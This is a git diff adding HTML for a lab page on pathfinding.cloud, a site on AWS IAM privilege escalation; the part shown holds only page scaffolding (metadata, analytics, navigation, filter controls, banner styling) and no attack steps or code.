+                scrim.addColorStop(0,   isLight ? 'rgba(0,0,0,0.82)' : 'rgba(0,0,0,0.92)');
+                scrim.addColorStop(0.6, isLight ? 'rgba(0,0,0,0.40)' : 'rgba(0,0,0,0.50)');
+                scrim.addColorStop(1,   'rgba(0,0,0,0)');
+                ctx.fillStyle = scrim;
+                ctx.fillRect(0, 0, w, h);
+
+                // Scale the heading so "GETTING STARTED" fills 80% of canvas width.
+                // Measure at the reference LAB_SIZE (26px at scale=1) to get the ratio.
+                const REF_SIZE = 26;
+                ctx.font = `900 ${REF_SIZE}px -apple-system, BlinkMacSystemFont, sans-serif`;
+                ctx.letterSpacing = '0.04em';
+                const refW = ctx.measureText('GETTING STARTED').width;
+                ctx.letterSpacing = 'normal';
+                const scale = Math.max(0.3, (w * 0.60) / refW);
+                drawCapcomHeader(ctx, w, 0, 'Getting Started', {
+                    brandText: 'PATHFINDING LABS',
+                    zoneH: h,
+                    scale: scale,
+                });
+            }
+
+            // Defer first render so the element has a computed layout size.
+            requestAnimationFrame(function () { renderBanner(); });
+
+            new ResizeObserver(function () { renderBanner(); }).observe(visual);
+
+            new MutationObserver(function () { renderBanner(); }).observe(
+                document.documentElement, { attributes: true, attributeFilter: ['class'] }
+            );
+        }());
+    </script>
+</body>
+</html>
diff --git a/docs/labs/emrserverless-001/index.html b/docs/labs/emrserverless-001/index.html
new file mode 100644
index 00000000..31b30e7f
--- /dev/null
+++ b/docs/labs/emrserverless-001/index.html
@@ -0,0 +1,735 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>EMR Serverless Application Job to Admin - pathfinding.cloud Labs</title>
+    <meta name="description" content="Creating an EMR Serverless Spark application and running a job with an admin execution role to grant the starting user administrative access">
+    <meta name="generator" content="pathfinding-cloud-lab-stub">
+    <!-- Open Graph / Social Sharing -->
+    <meta property="og:type" content="article">
+    <meta property="og:url" content="https://pathfinding.cloud/labs/emrserverless-001/">
+    <meta property="og:title" content="EMR Serverless Application Job to Admin - pathfinding.cloud Labs">
+    <meta property="og:description" content="Creating an EMR Serverless Spark application and running a job with an admin execution role to grant the starting user administrative access">
+    <meta property="og:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Twitter Card -->
+    <meta name="twitter:card" content="summary_large_image">
+    <meta name="twitter:title" content="EMR Serverless Application Job to Admin - pathfinding.cloud Labs">
+    <meta name="twitter:description" content="Creating an EMR Serverless Spark application and running a job with an admin execution role to grant the starting user administrative access">
+    <meta name="twitter:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Favicon -->
+    <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
+    <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
+    <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
+    <script
+        src="https://www.datadoghq-browser-agent.com/us1/v6/datadog-rum.js"
+        type="text/javascript">
+    </script>
+    <script>
+        window.DD_RUM && window.DD_RUM.init({
+        clientToken: 'pub480324ed2fcb73b641a2eccdd88c1d13',
+        applicationId: '61e8d384-68d8-45b7-a969-3187e0e167ff',
+        site: 'datadoghq.com',
+        service: 'pathfinding.cloud',
+        env: 'prod',
+        sessionSampleRate: 100,
+        sessionReplaySampleRate: 100,
+        trackBfcacheViews: true,
+        defaultPrivacyLevel: 'allow',
+        });
+    </script>
+    <!-- Prevent theme flicker by applying theme before render -->
+    <script>
+        (function() {
+            const savedTheme = localStorage.getItem('theme') || 'light';
+            if (savedTheme === 'light') {
+                document.documentElement.classList.add('light-theme');
+            }
+            // Sidebar anti-flicker: apply collapsed class before paint.
+            // Also force-collapse on narrow viewports regardless of saved preference.
+            if (localStorage.getItem('sidebarCollapsed') === 'true' || window.innerWidth < 1600) {
+                document.documentElement.classList.add('sidebar-collapsed');
+            }
+        })();
+    </script>
+    <link rel="stylesheet" href="/css/style.css?v=48">
+    <!-- Google Tag Manager -->
+    <script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
+    new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
+    j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
+    'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
+    })(window,document,'script','dataLayer','GTM-WDC8G6');</script>
+    <!-- End Google Tag Manager -->
+</head>
+<body>
+    <!-- Google Tag Manager (noscript) -->
+    <noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-WDC8G6"
+    height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
+    <!-- End Google Tag Manager (noscript) -->
+    <header>
+        <div class="header-content">
+            <div class="header-left">
+                <button id="mobile-menu-toggle" class="mobile-menu-toggle" aria-label="Toggle menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="3" y1="12" x2="21" y2="12"/>
+                        <line x1="3" y1="6" x2="21" y2="6"/>
+                        <line x1="3" y1="18" x2="21" y2="18"/>
+                    </svg>
+                </button>
+                <div class="site-branding">
+                    <a href="/" class="site-name">PATHFINDING.CLOUD</a>
+                    <div class="site-tagline">Understand, Detect &amp; Demonstrate AWS IAM Privilege Escalation</div>
+                </div>
+            </div>
+            <nav class="header-center">
+                <a href="/" class="nav-link">Home</a>
+                <div class="nav-dropdown">
+                    <a href="/paths/" class="nav-link">Paths</a>
+                    <div class="dropdown-content">
+                        <a href="/paths/">Attack Paths</a>
+                        <a href="/paths/stats/">Statistics</a>
+                    </div>
+                </div>
+                <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
+            </nav>
+            <div class="header-right">
+                <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
+                    <img src="/images/datadog-logo-white.png" alt="Datadog Logo" class="header-logo datadog-logo-white" style="filter: brightness(0) invert(1);">
+                    <img src="/images/datadog-logo-purple.png" alt="Datadog Logo" class="header-logo datadog-logo-purple" style="filter: brightness(0) saturate(100%); display: none;">
+                    <span class="icon-label">Datadog Security Labs</span>
+                </a>
+                <button id="theme-toggle" class="theme-toggle" aria-label="Toggle theme">
+                    <svg class="sun-icon" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <circle cx="12" cy="12" r="5"/>
+                        <line x1="12" y1="1" x2="12" y2="3"/>
+                        <line x1="12" y1="21" x2="12" y2="23"/>
+                        <line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/>
+                        <line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/>
+                        <line x1="1" y1="12" x2="3" y2="12"/>
+                        <line x1="21" y1="12" x2="23" y2="12"/>
+                        <line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/>
+                        <line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/>
+                    </svg>
+                    <svg class="moon-icon" width="24" height="24" viewBox="0 0 24 24" fill="currentColor">
+                        <path d="M21 12.79A9 9 0 1 1 11.21 3 7 7 0 0 0 21 12.79z"/>
+                    </svg>
+                    <span class="icon-label">Toggle Theme</span>
+                </button>
+                <a href="https://github.com/DataDog/pathfinding.cloud" target="_blank" class="github-link" aria-label="View on GitHub">
+                    <svg width="24" height="24" viewBox="0 0 16 16" fill="currentColor">
+                        <path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"/>
+                    </svg>
+                    <span class="icon-label">View on GitHub</span>
+                </a>
+            </div>
+        </div>
+    </header>
+
+    <!-- Mobile Menu Overlay -->
+    <div id="mobile-menu-overlay" class="mobile-menu-overlay">
+        <div class="mobile-menu">
+            <div class="mobile-menu-header">
+                <span>Menu</span>
+                <button id="mobile-menu-close" class="mobile-menu-close" aria-label="Close mobile menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="18" y1="6" x2="6" y2="18"/>
+                        <line x1="6" y1="6" x2="18" y2="18"/>
+                    </svg>
+                </button>
+            </div>
+            <nav class="mobile-menu-nav">
+                <a href="/" class="mobile-nav-link">Home</a>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Paths</span>
+                    <a href="/paths/" class="mobile-nav-link mobile-nav-child">Attack Paths</a>
+                    <a href="/paths/stats/" class="mobile-nav-link mobile-nav-child">Statistics</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Labs</span>
+                    <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
+                    <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
+            </nav>
+        </div>
+    </div>
+
+    <aside class="site-sidebar" id="site-sidebar">
+        <nav class="sidebar-nav">
+            <a href="/" class="sidebar-item" data-tooltip="Home">
+                <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/><polyline points="9 22 9 12 15 12 15 22"/></svg>
+                <span class="sidebar-label">Home</span>
+            </a>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-paths">
+                <button class="sidebar-group-toggle" data-tooltip="Paths">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
+                    <span class="sidebar-label">Paths</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/paths/" class="sidebar-item sidebar-child" data-tooltip="Attack Paths">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><circle cx="12" cy="12" r="3"/><line x1="12" y1="2" x2="12" y2="5"/><line x1="12" y1="19" x2="12" y2="22"/><line x1="2" y1="12" x2="5" y2="12"/><line x1="19" y1="12" x2="22" y2="12"/></svg>
+                        <span class="sidebar-label">Attack Paths</span>
+                    </a>
+                    <a href="/paths/stats/" class="sidebar-item sidebar-child" data-tooltip="Statistics">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="20" x2="18" y2="10"/><line x1="12" y1="20" x2="12" y2="4"/><line x1="6" y1="20" x2="6" y2="14"/><line x1="2" y1="20" x2="22" y2="20"/></svg>
+                        <span class="sidebar-label">Statistics</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-labs">
+                <button class="sidebar-group-toggle" data-tooltip="Labs">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M10 2v7.31l-4.76 9.54A2 2 0 0 0 7 22h10a2 2 0 0 0 1.76-2.95L14 9.31V2"/><line x1="8.5" y1="2" x2="15.5" y2="2"/></svg>
+                    <span class="sidebar-label">Labs</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/labs/" class="sidebar-item sidebar-child" data-tooltip="Labs Catalog">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Labs Catalog</span>
+                    </a>
+                    <a href="/labs/getting-started/" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
+        </nav>
+
+        <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
+            <svg class="sidebar-icon collapse-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="15 18 9 12 15 6"/></svg>
+            <span class="sidebar-label">Collapse</span>
+        </button>
+    </aside>
+
+    <div class="page-body">
+    <style>
+        /* Fix header overflow to allow dropdown to show */
+        header {
+            overflow: visible !important;
+        }
+
+        /* Dropdown menu styles */
+        .nav-dropdown {
+            position: relative;
+            display: flex;
+            align-items: center;
+        }
+
+        .nav-dropdown .dropdown-content {
+            display: none;
+            position: absolute;
+            top: 100%;
+            left: 0;
+            background: var(--card-background);
+            min-width: 180px;
+            box-shadow: 0 8px 16px rgba(0, 0, 0, 0.3);
+            border-radius: 8px;
+            z-index: 9999;
+            border: 2px solid var(--border-color);
+            padding-top: 12px;
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content::before {
+            content: '';
+            position: absolute;
+            top: 0;
+            left: 0;
+            right: 0;
+            height: 12px;
+            background: transparent;
+        }
+
+        .nav-dropdown .dropdown-content a {
+            color: var(--text-primary);
+            padding: 8px 16px;
+            text-decoration: none;
+            display: block;
+            transition: all 0.2s;
+            border-radius: 6px;
+            margin: 2px 4px;
+            position: relative;
+        }
+
+        .nav-dropdown .dropdown-content a:first-child {
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content a:hover {
+            background: var(--accent-purple);
+            color: white;
+            transform: translateX(4px);
+        }
+
+        .nav-dropdown .dropdown-content a.active {
+            color: var(--accent-color);
+            font-weight: 500;
+        }
+
+        .nav-dropdown .dropdown-content a.active::before {
+            content: '';
+            position: absolute;
+            left: 4px;
+            top: 50%;
+            transform: translateY(-50%);
+            width: 4px;
+            height: 4px;
+            background: var(--accent-color);
+            border-radius: 50%;
+        }
+
+        .nav-dropdown:hover .dropdown-content {
+            display: block;
+        }
+
+        .nav-dropdown:hover > .nav-link {
+            color: var(--accent-color);
+        }
+
+        /* Show white logo in dark mode, purple logo in light mode */
+        .datadog-logo-white {
+            display: block;
+        }
+
+        .datadog-logo-purple {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-white {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-purple {
+            display: block !important;
+        }
+    </style>
+
+    <nav class="container">
+        <div class="search-bar-container">
+            <div class="search-bar">
+                <input type="text" id="search" placeholder="Search labs by name, permission, or description...">
+            </div>
+            <div class="paths-count-display">
+                Showing <span id="filtered-labs-count">0</span> of <span id="total-labs-count">0</span> labs
+            </div>
+            <div class="filter-group view-toggle">
+                <label>View:</label>
+                <button id="view-cards" class="view-button active">Cards</button>
+                <button id="view-table" class="view-button">Table</button>
+            </div>
+        </div>
+        <div class="filters">
+            <!-- Category -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-category-filter">
+                <button class="filter-pill" data-filter="category-filter" type="button"><span class="filter-pill-key">Category</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-category-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
+                    <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
+                    <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
+                </div>
+                <select id="category-filter" hidden>
+                    <option value="">All Categories</option>
+                    <option value="Privilege Escalation">Privilege Escalation</option>
+                    <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
+                    <option value="CSPM: Toxic Combination">Toxic Combination</option>
+                </select>
+            </div>
+
+            <!-- Path Type -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-path-type-filter">
+                <button class="filter-pill" data-filter="path-type-filter" type="button"><span class="filter-pill-key">Type</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-path-type-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="self-escalation">Self-Escalation</div>
+                    <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
+                    <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
+                    <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
+                </div>
+                <select id="path-type-filter" hidden>
+                    <option value="">All Types</option>
+                    <option value="self-escalation">Self-Escalation</option>
+                    <option value="one-hop">One-Hop</option>
+                    <option value="multi-hop">Multi-Hop</option>
+                    <option value="cross-account">Cross-Account</option>
+                </select>
+            </div>
+
+            <!-- Cost -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-cost-filter">
+                <button class="filter-pill" data-filter="cost-filter" type="button"><span class="filter-pill-key">Cost</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-cost-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="free">Free</div>
+                    <div class="filter-pill-item" data-value="paid">Paid</div>
+                </div>
+                <select id="cost-filter" hidden>
+                    <option value="">All</option>
+                    <option value="free">Free</option>
+                    <option value="paid">Paid</option>
+                </select>
+            </div>
+
+            <!-- Hops (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-hops-filter">
+                <button class="filter-pill" data-filter="hops-filter" type="button"><span class="filter-pill-key">Hops</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-hops-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="hops-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Service (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-service-filter">
+                <button class="filter-pill" data-filter="service-filter" type="button"><span class="filter-pill-key">Service</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-service-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="service-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Online Play -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-online-filter">
+                <button class="filter-pill" data-filter="online-filter" type="button"><span class="filter-pill-key">Online Play</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-online-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="yes">Yes</div>
+                    <div class="filter-pill-item" data-value="no">No</div>
+                </div>
+                <select id="online-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="yes">Yes</option>
+                    <option value="no">No</option>
+                </select>
+            </div>
+
+            <!-- Start -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-start-filter">
+                <button class="filter-pill" data-filter="start-filter" type="button"><span class="filter-pill-key">Start</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-start-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-credentials">Credentials</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-network">Network (assumed)</div>
+                    <div class="filter-pill-item" data-value="public-network">Network (public)</div>
+                </div>
+                <select id="start-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="assumed-breach-credentials">Credentials</option>
+                    <option value="assumed-breach-network">Network (assumed)</option>
+                    <option value="public-network">Network (public)</option>
+                </select>
+            </div>
+
+            <!-- Target -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-target-filter">
+                <button class="filter-pill" data-filter="target-filter" type="button"><span class="filter-pill-key">Target</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-target-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="to-admin">Admin</div>
+                    <div class="filter-pill-item" data-value="to-bucket">Bucket</div>
+                </div>
+                <select id="target-filter" hidden>
+                    <option value="">All Targets</option>
+                    <option value="to-admin">Admin</option>
+                    <option value="to-bucket">Bucket</option>
+                </select>
+            </div>
+
+            <button id="reset-filters" class="filter-reset-btn" type="button">Reset</button>
+        </div>
+    </nav>
+
+    <style>
+        /* ── Getting Started CTA banner ── */
+        .gs-cta-banner {
+            display: none; /* shown by JS only if not dismissed */
+            position: relative;
+            border-radius: 12px;
+            border: 1px solid var(--border-color);
+            overflow: hidden;
+            margin-bottom: 20px;
+            background: var(--card-background);
+            transition: border-color 0.15s;
+        }
+        .gs-cta-banner:hover {
+            border-color: var(--accent-color);
+        }
+        .gs-cta-content-link {
+            display: grid;
+            grid-template-columns: 500px 1fr;
+            text-decoration: none;
+            color: inherit;
+        }
+        .gs-cta-text {
+            padding: 22px 52px 22px 24px; /* right pad leaves room for dismiss btn */
+            display: flex;
+            flex-direction: column;
+            justify-content: center;
+            gap: 5px;
+        }
+        .gs-cta-eyebrow {
+            font-size: 0.88rem;
+            font-weight: 700;
+            text-transform: uppercase;
+            letter-spacing: 0.1em;
+            color: var(--accent-color);
+        }
+        .gs-cta-title {
+            font-size: 1.05rem;
+            font-weight: 700;
+            color: var(--text-primary);
+            line-height: 1.2;
+        }
+        .gs-cta-desc {
+            font-size: 0.85rem;
+            color: var(--text-secondary);
+            line-height: 1.55;
+            max-width: 480px;
+        }
+        .gs-cta-action {
+            margin-top: 4px;
+            font-size: 0.82rem;
+            font-weight: 600;
+            color: var(--accent-color);
+            display: flex;
+            align-items: center;
+            gap: 5px;
+        }
+        .gs-cta-visual {
+            position: relative;
+            overflow: hidden;
+            height: 200px;
+            align-self: start;
+            border-left: 1px solid var(--border-color);
+            transition: border-left-color 0.15s;
+        }
+        .gs-cta-banner:hover .gs-cta-visual {
+            border-left-color: var(--accent-color);
+        }
+        .gs-cta-visual canvas {
+            display: block;
+            width: 100%;
+            height: 100%;
+        }
+        .gs-cta-dismiss {
+            position: absolute;
+            top: 10px;
+            right: 10px;
+            width: 26px;
+            height: 26px;
+            border-radius: 50%;
+            border: 1px solid var(--border-color);
+            background: var(--card-background);
+            color: var(--text-muted);
+            cursor: pointer;
+            display: flex;
+            align-items: center;
+            justify-content: center;
+            font-size: 1rem;
+            line-height: 1;
+            transition: background 0.15s, color 0.15s, border-color 0.15s;
+            z-index: 10;
+        }
+        .gs-cta-dismiss:hover {
+            background: var(--background-elevated);
+            color: var(--text-primary);
+            border-color: var(--text-muted);
+        }
+        @media (max-width: 640px) {
+            .gs-cta-content-link {
+                grid-template-columns: 1fr;
+            }
+            .gs-cta-visual { display: none; }
+        }
+    </style>
